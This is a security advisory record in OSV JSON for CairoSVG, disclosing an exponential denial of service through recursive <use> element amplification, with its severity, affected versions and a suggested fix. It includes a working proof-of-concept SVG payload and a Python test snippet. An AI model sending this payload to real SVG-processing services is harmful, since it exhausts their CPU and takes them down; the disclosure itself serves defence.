{"id":"GHSA-f38f-5xpm-9r7c","summary":"CairoSVG vulnerable to Exponential DoS via recursive \u003cuse\u003e element amplification","details":"## Summary\n\nKozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive `\u003cuse\u003e` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input.\n\n## Severity\n\nHigh — CVSS 3.1: 7.5\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerable Code\n\nFile: `cairosvg/defs.py` (line ~335), function `use()`\n\nThe `use()` function recursively processes `\u003cuse\u003e` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.\n\n## Impact\n\n- 1,411-byte SVG payload pins CPU at 100% indefinitely\n- Memory stays flat at ~43MB — no OOM kill, process never terminates\n- Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able\n- Amplification factor: O(10^N) rendering calls from O(N) input\n\n## Proof of Concept\n\nSave as `poc.svg` and run `timeout 10 cairosvg poc.svg -o test.png`:\n\n```xml\n\u003c?xml version=\"1.0\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\u003e\n  \u003cdefs\u003e\n    \u003cg id=\"a\"\u003e\u003crect width=\"1\" height=\"1\"/\u003e\u003c/g\u003e\n    \u003cg id=\"b\"\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003cuse xlink:href=\"#a\"/\u003e\u003c/g\u003e\n    \u003cg id=\"c\"\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003cuse xlink:href=\"#b\"/\u003e\u003c/g\u003e\n    \u003cg id=\"d\"\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003cuse xlink:href=\"#c\"/\u003e\u003c/g\u003e\n    \u003cg id=\"e\"\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003cuse xlink:href=\"#d\"/\u003e\u003c/g\u003e\n  \u003c/defs\u003e\n  \u003cuse xlink:href=\"#e\"/\u003e\n\u003c/svg\u003e\n```\n\nExpected: `timeout` kills the process after 10 seconds (it never completes on its own).\n\nAlternatively test with Python:\n```python\nimport cairosvg, signal\nsignal.alarm(5)  # Kill after 5 seconds\ntry:\n    cairosvg.svg2png(bytestring=open(\"poc.svg\").read())\nexcept:\n    print(\"[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s\")\n```\n\n## Suggested Fix\n\nAdd recursion depth counter to `use()` function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.\n\n## References\n\n- [CWE-400](https://cwe.mitre.org/data/definitions/400.html)\n\n## Credit\n\nKai Aizen (SnailSploit) — Adversarial AI & Security Research","aliases":["CVE-2026-31899","PYSEC-2026-2122"],"modified":"2026-07-13T07:26:50.032778438Z","published":"2026-03-13T18:57:31Z","database_specific":{"github_reviewed_at":"2026-03-13T18:57:31Z","nvd_published_at":"2026-03-13T19:54:38Z","cwe_ids":["CWE-400"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/Kozea/CairoSVG/security/advisories/GHSA-f38f-5xpm-9r7c"},{"type":"WEB","url":"https://github.com/Kozea/CairoSVG/commit/6dde8685ed3f19837767bce7a13a5491e3d0e0bf"},{"type":"PACKAGE","url":"https://github.com/Kozea/CairoSVG"}],"affected":[{"package":{"name":"cairosvg","ecosystem":"PyPI","purl":"pkg:pypi/cairosvg"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.0"}]}],"versions":["0.1","0.1.1","0.1.2","0.2","0.3","0.3.1","0.4","0.4.1","0.4.2","0.4.3","0.4.4","0.5","1.0","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.2","1.0.20","1.0.21","1.0.22","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","2.0.0","2.0.0rc1","2.0.0rc2","2.0.0rc3","2.0.0rc4","2.0.0rc5","2.0.0rc6","2.0.1","2.0.2","2.0.3","2.1.0","2.1.1","2.1.2","2.1.3","2.2.0","2.2.1","2.3.0","2.3.1","2.4.0","2.4.1","2.4.2","2.5.0","2.5.1","2.5.2","2.6.0","2.7.0","2.7.1","2.8.0","2.8.1","2.8.2"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.8.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-f38f-5xpm-9r7c/GHSA-f38f-5xpm-9r7c.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}